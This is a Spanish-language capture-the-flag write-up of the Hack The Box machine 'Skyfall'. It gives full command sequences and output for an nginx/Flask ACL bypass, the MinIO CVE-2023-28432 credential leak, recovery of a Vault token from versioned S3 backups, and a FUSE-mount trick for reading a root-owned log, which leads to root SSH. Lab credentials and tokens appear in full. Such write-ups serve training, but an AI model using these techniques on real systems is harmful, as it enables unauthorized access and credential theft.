Table of Contents
Hack The Box: Skyfall Writeup
Welcome to my detailed writeup of the insane difficulty machine “Skyfall” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.230.158 --ulimit 5000 -g
210.129.230.158 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.230.158 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:59 CEST
3Nmap scan report for 10.129.230.158
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
10|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
1180/tcp open http nginx 1.18.0 (Ubuntu)
12|_http-title: Skyfall - Introducing Sky Storage!
13|_http-server-header: nginx/1.18.0 (Ubuntu)
14Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 9.97 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.230.158 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 19:59 CEST
3Nmap scan report for 10.129.230.158
4Host is up (0.036s latency).
5Not shown: 1495 open|filtered udp ports (no-response)
6PORT STATE SERVICE
769/udp closed tftp
86346/udp closed gnutella
918617/udp closed unknown
1020423/udp closed unknown
1127195/udp closed unknown
12
13Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds
HTTP Enumeration
Solo encontramos el servicio web como posible punto de entrada de la máquina.
whatweb
nos reporta varias cosas interesantes.
1$ whatweb http://10.129.230.158
2http://10.129.230.158 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[askyy@skyfall.htb,btanner@skyfall.htb,contact@skyfall.com,jbond@skyfall.htb], Frame, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.230.158], Lightbox, Script, Title[Skyfall - Introducing Sky Storage!], nginx[1.18.0]
Vemos varios correos electrónicos.
askyy@skyfall.htb,btanner@skyfall.htb,contact@skyfall.com,jbond@skyfall.htb
Vamos a añadir el dominio skyfall.htb
al /etc/hosts
Y vamos a hacer una pequeña lista de usuarios por si nos sirve en un futuro.
1$ cat users.txt
2askyy
3btanner
4contact
5jbond
Así se ve el sitio web.
Vemos el subdominio demo.skyfall.htb
Se nos incluye unas credenciales de acceso, guest:guest
Leyendo las tareas podemos deducir que existe un S3 por detrás para almacenamiento y que debe de haber una instancia de Minio.
En el apartado Files
podemos descargar un archivo. Welcome.pdf
Si cambiamos el link de descarga por un archivo que no exista vemos un error de S3.
Vemos varios sitios restringidos, /beta
, /metrics
.
Existe una función en /fetch
para “descargar” el contenido de un sitio web.
Al probar una traza hacia mi equipo vemos que llega.
1 python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.230.158 - - [05/Sep/2024 20:12:09] "GET / HTTP/1.1" 200 -
Al intentar un SSRF no consigue realizar la conexión.
Me di cuenta de que se reflejaba el nombre del host al que está intentando conectarse, al ver que la aplicación estaba hecha en Flask intenté realizar un SSTI pero fue fallido.
Vemos varios formularios pero tras intentar inyectar una imagen de nuestro servidor para ver si se acontece un XSS no conseguimos nada.
Bypassing 403 -> Exploiting HTTP Parser Inconsistencies
Viendo el mensaje de 403 Forbidden, no es un mensaje personalizado como puede ser el 404 Not Found. Es el mensaje de nginx
, esto significa que esta restricción se debe de estar haciendo a nivel de Proxy seguramente.
Podemos ver este post que encontré en HackTricks donde en el apartado Bypassing Nginx ACL Rules With Flask
encontramos algo muy curioso.
Flask removes the characters \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, and \x09 from the URL path, but NGINX doesn’t.
Esto significa que si en nginx
tenemos una configuración como la siguiente
1location = /admin {
2 deny all;
3}
4
5location = /admin/ {
6 deny all;
7}
Y en nuestro servidor flask tenemos el endpoint abierto, es decir, que nos fiamos de nginx
al 100%.
1@app.route('/admin', methods = ['GET'])
2def admin():
3 data = {"url":request.url, "admin":"True"}
4
5 return Response(str(data), mimetype="application/json")
As you can see below, it’s possible to circumvent the ACL protection by adding the character \x85 at the end of the pathname:
Podríamos saltarnos esta restricción añadiendo el carácter \x85
al final del pathname
Para probar, añadimos el byte en esta posición.
Podemos ver que está insertado correctamente.
Y no conseguimos nada.
Vamos a probar los demás caracteres.
\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, and \x09
¡El byte \x0c
sirve para saltarnos esta restricción!
Al final de todas las métricas encontramos una URL, según el atributo es un endpoint de minio
.
Agregamos el subdominio prd23-s3-backend.skyfall.htb
al /etc/hosts
Information Disclosure -> CVE-2023-28432
Tras buscar vulnerabilidades en Minio, encontré el siguiente post donde habla de una fuga de información que ocurre en un endpoint en una versión desactualizada de este software.
En esta vulnerabilidad al mandar una petición POST al endpoint /minio/bootstrap/v1/verify
se filtrarían los campos MINIO_ROOT_USER
y MINIO_ROOT_PASSWORD
Podemos hacer esta petición con cURL mismamente.
1$ curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify
1{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
Vemos que el usuario es: 5GrE1B2YGGyZzNHZaIww
La contraseña es: GkpjkmiVmpFuL2d3oRx0
Ahora tenemos acceso completo a la instancia de Minio, por lo cual tenemos acceso a todos los archivos que estén en el S3.
Nos podemos descargar mc
que es un cliente de consola para Minio de aquí
1wget https://dl.min.io/client/mc/release/linux-amd64/mc
Ahora le damos permisos de ejecución
1$ chmod +x mc
Y ya lo podemos usar.
Como son unas credenciales largas y dificiles de recordar, un consejo que os doy es exportar unas variables globales que se llamen USERNAME
y PASSWORD
con las credenciales y así no tenéis que recordarlas, simplemente podéis invocar las variables $USERNAME
y $PASSWORD
Las credenciales están guardadas en el fichero combo.txt
donde a la izquierda está el usuario y delimitado con :
a la derecha está la credencial.
1$ cat combo.txt
25GrE1B2YGGyZzNHZaIww:GkpjkmiVmpFuL2d3oRx0
1$ export USERNAME=$(cat combo.txt | awk -F: '{print $1}'
2$ export PASSWORD=$(cat combo.txt | awk -F: '{print $2}')
Y lo podemos comprobar
1$ echo $USERNAME
25GrE1B2YGGyZzNHZaIww
3$ echo $PASSWORD
4GkpjkmiVmpFuL2d3oRx0
Según la documentación de Minio(https://min.io/docs/minio/linux/reference/minio-mc/minio-client-settings.html) podemos configurar cual es nuestro S3 con mc alias set
mc alias set myminio https://myminio.example.net minioadminuser minioadminpassword
Nos encontramos con el siguiente error.
1$ ./mc alias set skyfall http://prd23-s3-backend.skyfall.htb/ $USERNAME $PASSWORD
2mc: <ERROR> Unable to initialize new alias from the provided credentials. The difference between the request time and the server's time is too large.
Esto pasa porque la hora de mi sistema está desincronizada.
Podemos sincronizarla de esta manera.
1sudo ntpdate ntp.ubuntu.com
Y ahora si que podemos añadir el alias.
1$ ./mc alias set skyfall http://prd23-s3-backend.skyfall.htb $USERNAME $PASSWORD
2Added `skyfall` successfully.
Exploring S3 -> Information Leakage
Ahora podemos explorar los buckets.
1$ ./mc ls skyfall
2[2023-11-08 05:59:15 CET] 0B askyy/
3[2023-11-08 05:58:56 CET] 0B btanner/
4[2023-11-08 05:58:33 CET] 0B emoneypenny/
5[2023-11-08 05:58:22 CET] 0B gmallory/
6[2023-11-08 01:08:01 CET] 0B guest/
7[2023-11-08 05:59:05 CET] 0B jbond/
8[2023-11-08 05:58:10 CET] 0B omansfield/
9[2023-11-08 05:58:45 CET] 0B rsilva/
Con un one-liner en bash podemos ver todos los archivos de los buckets de los usuarios fácilmente.
1$ for user in $(./mc ls skyfall | awk '{print $5}'); do echo "En el usuario $user ->" && ./mc ls skyfall/$user; done
2En el usuario askyy/ ->
3[2023-11-08 06:35:28 CET] 48KiB STANDARD Welcome.pdf
4[2023-11-09 22:37:25 CET] 2.5KiB STANDARD home_backup.tar.gz
5En el usuario btanner/ ->
6[2023-11-08 06:35:36 CET] 48KiB STANDARD Welcome.pdf
7En el usuario emoneypenny/ ->
8[2023-11-08 06:35:56 CET] 48KiB STANDARD Welcome.pdf
9En el usuario gmallory/ ->
10[2023-11-08 06:36:02 CET] 48KiB STANDARD Welcome.pdf
11En el usuario guest/ ->
12[2023-11-08 01:08:05 CET] 48KiB STANDARD Welcome.pdf
13En el usuario jbond/ ->
14[2023-11-08 06:35:45 CET] 48KiB STANDARD Welcome.pdf
15En el usuario omansfield/ ->
16[2023-11-08 06:36:09 CET] 48KiB STANDARD Welcome.pdf
17En el usuario rsilva/ ->
18[2023-11-08 06:35:51 CET] 48KiB STANDARD Welcome.pdf
Vemos que el usuario askyy
tiene un fichero home_backup.tar.gz
Nos podemos descargar este comprimido.
1$ ./mc get skyfall/askyy/home_backup.tar.gz .
2...kup.tar.gz: 2.48 KiB / 2.48 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 20.93 KiB/s 0s
Podemos extraer el comprimido y vemos que contienen varios directorios y archivos típicos de un directorio de trabajo de un usuario en un sistema linux.
1$ tar -xvf home_backup.tar.gz
2./
3./.profile
4./.bashrc
5./.ssh/
6./.ssh/authorized_keys
7./.sudo_as_admin_successful
8./.bash_history
9./.bash_logout
10./.cache/
11./.cache/motd.legal-displayed
Analizando estos archivos no encontramos nada.
Revisando otra vez la documentación de Minio, me encontré que existe un sistema de versioning, es decir, que ese archivo quizás tenga una versión mas antigua con otra información (como los commits de Git)
Vemos que está habilitado.
1 ./mc version info skyfall/askyy
2skyfall/askyy versioning is enabled
Podemos hacer otra vez un mc ls skyfall/askyy
pero con el parámetro --versions
para ver todas las versiones del archivo.
1$ ./mc ls skyfall/askyy --versions
2[2023-11-08 06:35:28 CET] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT Welcome.pdf
3[2023-11-09 22:37:25 CET] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT home_backup.tar.gz
4[2023-11-09 22:37:09 CET] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT home_backup.tar.gz
5[2023-11-09 22:36:30 CET] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT home_backup.tar.gz
Vemos que hay una versión que pesa mucho mas que el resto, la versión 3c498578-8dfe-43b7-b679-32a3fe42018f
, nos vamos a descargar esta versión.
1$ ./mc cp --version-id 3c498578-8dfe-43b7-b679-32a3fe42018f skyfall/askyy/home_backup.tar.gz ./home_backup_v1.tar.gz
2...me_backup.tar.gz: 1.18 MiB / 1.18 MiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 2.55 MiB/s 0s
Al extraer el comprimido vemos muchos mas archivos.
1$ tar -xvf home_backup_v1.tar.gz
2./
3./.profile
4./terraform-generator/
5./terraform-generator/.eslintrc.json
6./terraform-generator/package.json
7./terraform-generator/src/
8./terraform-generator/src/TerraformGenerator.ts
9./terraform-generator/src/arguments/
10./terraform-generator/src/arguments/index.ts
11./terraform-generator/src/arguments/Function.ts
12.......
Vemos un proyecto, vamos a comprobar que no haya ninguna credencial hardcodeada o algo interesante.
Utilizando un SAST (Static Application Security Testing) no encontré nada en el código de la aplicación.
No encontré nada en esta versión tampoco.
Vamos a descargar ahora la versión 2b75346d-2a47-4203-ab09-3c9f878466b8
1$ ./mc cp --version-id 2b75346d-2a47-4203-ab09-3c9f878466b8 skyfall/askyy/home_backup.tar.gz ./home_backup_v2.tar.gz
2...me_backup.tar.gz: 2.64 KiB / 2.64 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 16.31 KiB/s 0s
Revisando el archivo .bashrc
de esta versión encontramos lo siguiente.
1export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"
2export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQ
3VE"
Encontramos otro subdominio, prd23-vault-internal.skyfall.htb
, lo añadimos al /etc/hosts
Abusing Vault OTP -> Foothold
Al buscar VAULT_TOKEN
encontramos lo siguiente, pertenece a Vault
de HashiCorp
, esto lo hemos tocado ya en otras máquinas, sirven para poder gestionar secretos, contraseñas, certificados, tokens.. También sirve para hacer rotación de secretos, es decir, crear un OTP para acceder por SSH por ejemplo.
Según la documentación, podemos establecer la URL mediante el parámetro -address
pero nos sale un error.
1$ vault login -address "http://prd23-vault-internal.skyfall.htb"
2WARNING! VAULT_ADDR and -address unset. Defaulting to https://127.0.0.1:8200.
3Token (will be hidden):
Así que vamos a hacerle caso y vamos a exportar la variable de entorno VAULT_ADDR
1$ export VAULT_ADDR=http://prd23-vault-internal.skyfall.htb
Y podemos hacer el login con el token que nos hemos encontrado antes.
1$ vault login
2Token (will be hidden):
3Success! You are now authenticated. The token information displayed below
4is already stored in the token helper. You do NOT need to run "vault login"
5again. Future Vault requests will automatically use this token.
6
7Key Value
8--- -----
9token hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE
10token_accessor rByv1coOBC9ITZpzqbDtTUm8
11token_duration 430779h34m8s
12token_renewable true
13token_policies ["default" "developers"]
14identity_policies []
15policies ["default" "developers"]
Podemos deducir que este token es de el usuario askyy
Vemos que en policies pone default developers
, esto significa que nuestra política es una llamada developers
Podemos ver los permisos que tenemos sobre esta política.
1$ vault token capabilities sys/policy/developers
2read
Podemos ver que hace esta política.
1$ vault read sys/policy/developers
2Key Value
3--- -----
4name developers
5rules path "sys/policy/developers" {
6 capabilities = [ "read" ]
7}
8
9path "ssh/*" {
10 capabilities = [ "list" ]
11}
12
13path "ssh/creds/dev_otp_key_role" {
14 capabilities = ["create", "read", "update"]
15}
Vemos que tenemos una capability de crear un OTP para un rol llamado dev_otp_key_role
este rol es para la conexión por SSH.
Podemos listar todos los roles
1$ vault list ssh/roles
2Keys
3----
4admin_otp_key_role
5dev_otp_key_role
Podemos generar un OTP y conectarnos por ssh
1$ vault ssh -role dev_otp_key_role askyy@10.129.230.158
2WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
3mode to use. In the future, you will need to tell Vault which mode to use.
4For now, Vault will attempt to guess based on the API response. This guess
5involves creating a temporary credential, reading its type, and then revoking
6it. To reduce the number of API calls and surface area, specify -mode
7directly. This will be removed in Vault 1.1.
8Failed to revoke temporary key: Error making API request.
9
10URL: PUT http://prd23-vault-internal.skyfall.htb/v1/sys/leases/revoke
11Code: 403. Errors:
12
13* 1 error occurred:
14 * permission denied
15
16
17Vault could not locate "sshpass". The OTP code for the session is displayed
18below. Enter this code in the SSH password prompt. If you install sshpass,
19Vault can automatically perform this step for you.
20OTP for the session is: 3350605a-bad7-0e83-b8d4-ea63a3fe5b5c
21flag provided but not defined: -p
22Usage of vault plugin settings:
23 -ca-cert string
24
25 -ca-path string
26
27 -client-cert string
28
29 -client-key string
30
31 -tls-server-name string
32
33 -tls-skip-verify
34
35This binary is a plugin. These are not meant to be executed directly.
36Please execute the program that consumes these plugins, which will
37load any plugins automatically
38failed to run ssh command: exit status 1
Si nos sale ese error, simplemente podemos coger el código OTP generado, 3350605a-bad7-0e83-b8d4-ea63a3fe5b5c
y conectarnos por SSH al usuario.
1$ ssh askyy@10.129.230.158
2(askyy@10.129.230.158) Password:
3Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
4
5 * Documentation: https://help.ubuntu.com
6 * Management: https://landscape.canonical.com
7 * Support: https://ubuntu.com/pro
8
9This system has been minimized by removing packages and content that are
10not required on a system that users do not log into.
11
12To restore this content, you can run the 'unminimize' command.
13Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
14
15Last login: Thu Sep 5 17:40:53 2024 from 10.10.14.125
16askyy@skyfall:~$ id
17uid=1000(askyy) gid=1000(askyy) groups=1000(askyy)
Podemos ver la flag de usuario.
1askyy@skyfall:~$ cat user.txt
2a91436efa69ab...
Privilege Escalation
Exploiting Vault-Unseal
Vemos que el usuario askyy
tiene los siguientes permisos para ejecutar como el usuario que quiera y sin contraseña.
1askyy@skyfall:~$ sudo -l
2Matching Defaults entries for askyy on skyfall:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
5
6User askyy may run the following commands on skyfall:
7 (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$
8 (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
Como responde a la expresión regular -[vhd]+
podemos ver varios parámetros, por ejemplo la ayuda.
1askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h
2Usage:
3 vault-unseal [OPTIONS]
4
5Application Options:
6 -v, --verbose enable verbose output
7 -d, --debug enable debugging output to file (extra logging)
8 -c, --config=PATH path to configuration file
9
10Help Options:
11 -h, --help Show this help message
Si probamos el parámetro -d
para activar el modo depuración.
1askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
2[>] Checking seal status
3[+] Vault sealed: false
Nos damos cuenta de que genera un fichero debug.log
del usuario root
el cual no tenemos permisos sobre el.
1askyy@skyfall:~$ ls -la
2total 36
3drwxr-x--- 4 askyy askyy 4096 Sep 5 17:45 .
4drwxr-xr-x 3 root root 4096 Jan 19 2024 ..
5lrwxrwxrwx 1 askyy askyy 9 Nov 9 2023 .bash_history -> /dev/null
6-rw-r--r-- 1 askyy askyy 220 Jan 6 2022 .bash_logout
7-rw-r--r-- 1 askyy askyy 3771 Nov 9 2023 .bashrc
8drwx------ 2 askyy askyy 4096 Oct 9 2023 .cache
9-rw-r--r-- 1 askyy askyy 807 Jan 6 2022 .profile
10drwx------ 2 askyy askyy 4096 Jan 18 2024 .ssh
11-rw------- 1 root root 555 Sep 5 17:45 debug.log
12-rw-r----- 1 root askyy 33 Sep 5 15:54 user.txt
Además tampoco podíamos acceder al fichero /etc/vault-unseal.yml
1askyy@skyfall:~$ cat /etc/vault-unseal.yaml
2cat: /etc/vault-unseal.yaml: Permission denied
Después de pensar un rato no se me ocurrió nada y tuve que mirar una pista.
Me acuerdo de una máquina donde encontrábamos un recurso NFS que podíamos montar, esta era la máquina Squashed
y esto pasaba porque ocurría en NFS un UID/GUID mismatch.
If you mount a folder which contains files or folders only accesible by some user (by UID). You can create locally a user with that UID and using that user you will be able to access the file/folder.
Lo que vamos a hacer es algo similar
Bypass Unix permissions with FUSE mount
Como controlamos el directorio en el que nos encontramos, podemos crear un FUSE mount con sshfs
que nos permitirá montar de forma local en nuestro equipo un sistema de ficheros utilizando SFTP a un equipo remoto ya que la mayoría de los servidores SSH soportan y tienen habilitados por defecto el acceso SFTP. Cuando hagamos esto conseguiremos que todos los archivos del directorio en el que nos encontramos (/home/askyy
) sean del usuario askyy
, incluido el fichero debug.log
por lo cual podríamos leer su contenido.
Nos encontramos este post de StackOverflow que habla de como realizar esta montura y sin necesidad de permisos de superusuarios.
Instalamos sshfs
1 sudo apt-get install sshfs
Creamos una carpeta para montar.
1$ mkdir /tmp/askyy
Al intentar montar nos sale un error.
1$ sshfs -o allow_other askyy@10.129.230.158:/home/askyy /tmp/askyy -d
2SSHFS version 3.7.3
3fusermount3: option allow_other only allowed if 'user_allow_other' is set in /etc/fuse.conf
Vamos a cambiar la opción user_allow_other
de la configuración /etc/fuse.conf
.
Simplemente desmarcamos la línea 10.
En la máquina víctima ya está desmarcada.
1askyy@skyfall:~$ cat /etc/fuse.conf
2# The file /etc/fuse.conf allows for the following parameters:
3#
4# user_allow_other - Using the allow_other mount option works fine as root, in
5# order to have it work as user you need user_allow_other in /etc/fuse.conf as
6# well. (This option allows users to use the allow_other option.) You need
7# allow_other if you want users other than the owner to access a mounted fuse.
8# This option must appear on a line by itself. There is no value, just the
9# presence of the option.
10
11user_allow_other
12
13
14# mount_max = n - this option sets the maximum number of mounts.
15# Currently (2014) it must be typed exactly as shown
16# (with a single space before and after the equals sign).
17
18#mount_max = 1000
Nos pide una contraseña.
1$ sshfs -o allow_other askyy@10.129.230.158:/home/askyy /tmp/askyy -d
2SSHFS version 3.7.3
3executing <ssh> <-x> <-a> <-oClearAllForwardings=yes> <-2> <askyy@10.129.230.158> <-s> <sftp>
4(askyy@10.129.230.158) Password:
Vamos a generar un token OTP como antes.
1$ vault ssh -role dev_otp_key_role askyy@10.129.230.158
Nos copiamos el token y lo pegamos para montar el sistema de ficheros.
Ahora si accedemos a /tmp/askyy
vemos que debug.log
es del usuario root
, pero como estamos en nuestro equipo local simplemente podemos hacer un sudo cat debug.log
y podemos leer el archivo.
1$ ls -la
2total 36
3drwxr-x--- 1 pointedsec lpadmin 4096 sep 5 19:45 .
4drwxrwxrwt 1 root root 1254 sep 5 20:26 ..
5lrwxrwxrwx 1 pointedsec lpadmin 9 nov 9 2023 .bash_history -> /dev/null
6-rw-r--r-- 1 pointedsec lpadmin 220 ene 6 2022 .bash_logout
7-rw-r--r-- 1 pointedsec lpadmin 3771 nov 9 2023 .bashrc
8drwx------ 1 pointedsec lpadmin 4096 oct 9 2023 .cache
9-rw------- 1 root root 555 sep 5 19:45 debug.log
10-rw-r--r-- 1 pointedsec lpadmin 807 ene 6 2022 .profile
11drwx------ 1 pointedsec lpadmin 4096 ene 18 2024 .ssh
12-rw-r----- 1 root lpadmin 33 sep 5 17:54 user.txt
Esto no funciona y me di cuenta de que entendí mal en concepto, lo que queremos hacer es aprovecharnos de que la opción user_allow_other
está desmarcada en la máquina víctima, por lo cual esto lo tenemos que hacer en local en la máquina víctima.
Para esto podemos utilizar este repositorio de Github el cual tiene varios ejemplos programados en go, uno de ellos es memfs
.
Sirve para hacer lo mismo que sshfs
Clonamos el repositorio en nuestra máquina.
1$ git clone https://github.com/hanwen/go-fuse
2Cloning into 'go-fuse'...
3remote: Enumerating objects: 13238, done.
4remote: Counting objects: 100% (3744/3744), done.
5remote: Compressing objects: 100% (775/775), done.
6remote: Total 13238 (delta 3208), reused 3029 (delta 2965), pack-reused 9494 (from 1)
7Receiving objects: 100% (13238/13238), 3.92 MiB | 757.00 KiB/s, done.
8Resolving deltas: 100% (8781/8781), done.
Nos dirigimos donde está esta herramienta.
1$ cd go-fuse/example/memfs/
Compilamos la herramienta.
1$ go build
2go: downloading golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a
3┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/skyfall/content/go-fuse/example/memfs]
4└──╼ [★]$ ls -la
5total 3208
6drwxr-xr-x 1 pointedsec pointedsec 24 sep 5 20:42 .
7drwxr-xr-x 1 pointedsec pointedsec 158 sep 5 20:41 ..
8-rw-r--r-- 1 pointedsec pointedsec 957 sep 5 20:41 main.go
9-rwxr-xr-x 1 pointedsec pointedsec 3280384 sep 5 20:42 memfs
Ahora en la máquina víctima nos descargamos esta herramienta ya compilada.
1askyy@skyfall:~$ wget http://10.10.14.125:8081/memfs .
Le damos permisos de ejecución y probamos a ejecutarla para ver que se ha compilado correctamente.
1askyy@skyfall:~$ chmod +x memfs
2askyy@skyfall:~$ ./memfs
3usage: main MOUNTPOINT BACKING-PREFIX
Vemos que podemos montar nuestra carpeta actual en test/
, ahora solo necesitamos otra sesión de SSH y ver que todo ha salido bien y podemos acceder a debug.log
1askyy@skyfall:~$ mkdir /tmp/test
2askyy@skyfall:~$ ./memfs /home/askyy /tmp/test
3Mounted!
Al hacer la montura e intentar crear otra vez el archivo vemos que no sale bien.
1askyy@skyfall:/tmp/test$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
2[>] Checking seal status
3[+] Vault sealed: false
4askyy@skyfall:/tmp/test$ ls -la
5total 12
6drwxrwxr-x 2 askyy askyy 4096 Sep 5 18:54 .
7drwxrwxrwt 13 root root 4096 Sep 5 18:53 ..
8-rw------- 1 root root 555 Sep 5 18:54 debug.log
9askyy@skyfall:/tmp/test$ cat debug.log
10cat: debug.log: Permission denied
11askyy@skyfall:/tmp/test$
Después de volverme loco un rato, añadí esta línea en el main.go
de memfs
, lo montamos otra vez y nos lo mandamos a la máquina víctima.
Ahora creamos otra vez la montura en una carpeta distinta.
1askyy@skyfall:~$ mkdir /tmp/test3
2askyy@skyfall:~$ ./memfs /tmp/test3/ test
3Mounted!
Y ahora sí, vemos que ahora debug.log
es del usuario askyy
1askyy@skyfall:/tmp/test3$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d
2[>] Checking seal status
3[+] Vault sealed: false
4askyy@skyfall:/tmp/test3$ ls -la
5total 8
6drwxrwxrwx 1 askyy askyy 0 Sep 5 18:57 .
7drwxrwxrwt 15 root root 4096 Sep 5 18:57 ..
8-rw------- 1 askyy askyy 555 Sep 5 18:57 debug.log
Al leerlo vemos otro token distinto que el que teníamos para vault
1askyy@skyfall:/tmp/test3$ cat debug.log
22024/09/05 18:57:55 Initializing logger...
32024/09/05 18:57:55 Reading: /etc/vault-unseal.yaml
42024/09/05 18:57:55 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
52024/09/05 18:57:55 Found Vault node: http://prd23-vault-internal.skyfall.htb
62024/09/05 18:57:55 Check interval: 5s
72024/09/05 18:57:55 Max checks: 5
82024/09/05 18:57:55 Establishing connection to Vault...
92024/09/05 18:57:55 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
102024/09/05 18:57:55 Checking seal status
112024/09/05 18:57:55 Vault sealed: false
El token es hvs.I0ewVsmaKU1SwVZAKR3T0mmG
Generating OTP for root
Ahora podemos utilizar este token para iniciar sesión con vault
1$ export VAULT_ADDR=http://prd23-vault-internal.skyfall.htb
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/skyfall/content]
3└──╼ [★]$ vault login
4Token (will be hidden):
5Success! You are now authenticated. The token information displayed below
6is already stored in the token helper. You do NOT need to run "vault login"
7again. Future Vault requests will automatically use this token.
8
9Key Value
10--- -----
11token hvs.I0ewVsmaKU1SwVZAKR3T0mmG
12token_accessor bXBeXR3r92WGQ8XgEDx6pIFu
13token_duration ∞
14token_renewable false
15token_policies ["root"]
16identity_policies []
17policies ["root"]
Ahora vemos que la policy es de root
no de developer
Podemos comprobar otra vez los roles SSH.
1$ vault list ssh/roles
2Keys
3----
4admin_otp_key_role
5dev_otp_key_role
Ahora podemos generar un token OTP para acceder por SSH como root
1$ vault ssh -role admin_otp_key_role root@10.129.230.158
2WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
3mode to use. In the future, you will need to tell Vault which mode to use.
4For now, Vault will attempt to guess based on the API response. This guess
5involves creating a temporary credential, reading its type, and then revoking
6it. To reduce the number of API calls and surface area, specify -mode
7directly. This will be removed in Vault 1.1.
8Vault could not locate "sshpass". The OTP code for the session is displayed
9below. Enter this code in the SSH password prompt. If you install sshpass,
10Vault can automatically perform this step for you.
11OTP for the session is: 8332584b-b160-c8d1-71ad-f07c1a4356a4
12flag provided but not defined: -p
13Usage of vault plugin settings:
14 -ca-cert string
15.....
Ahora iniciamos sesión utilizando el token OTP 8332584b-b160-c8d1-71ad-f07c1a4356a4
como contraseña.
1$ ssh root@10.129.230.158
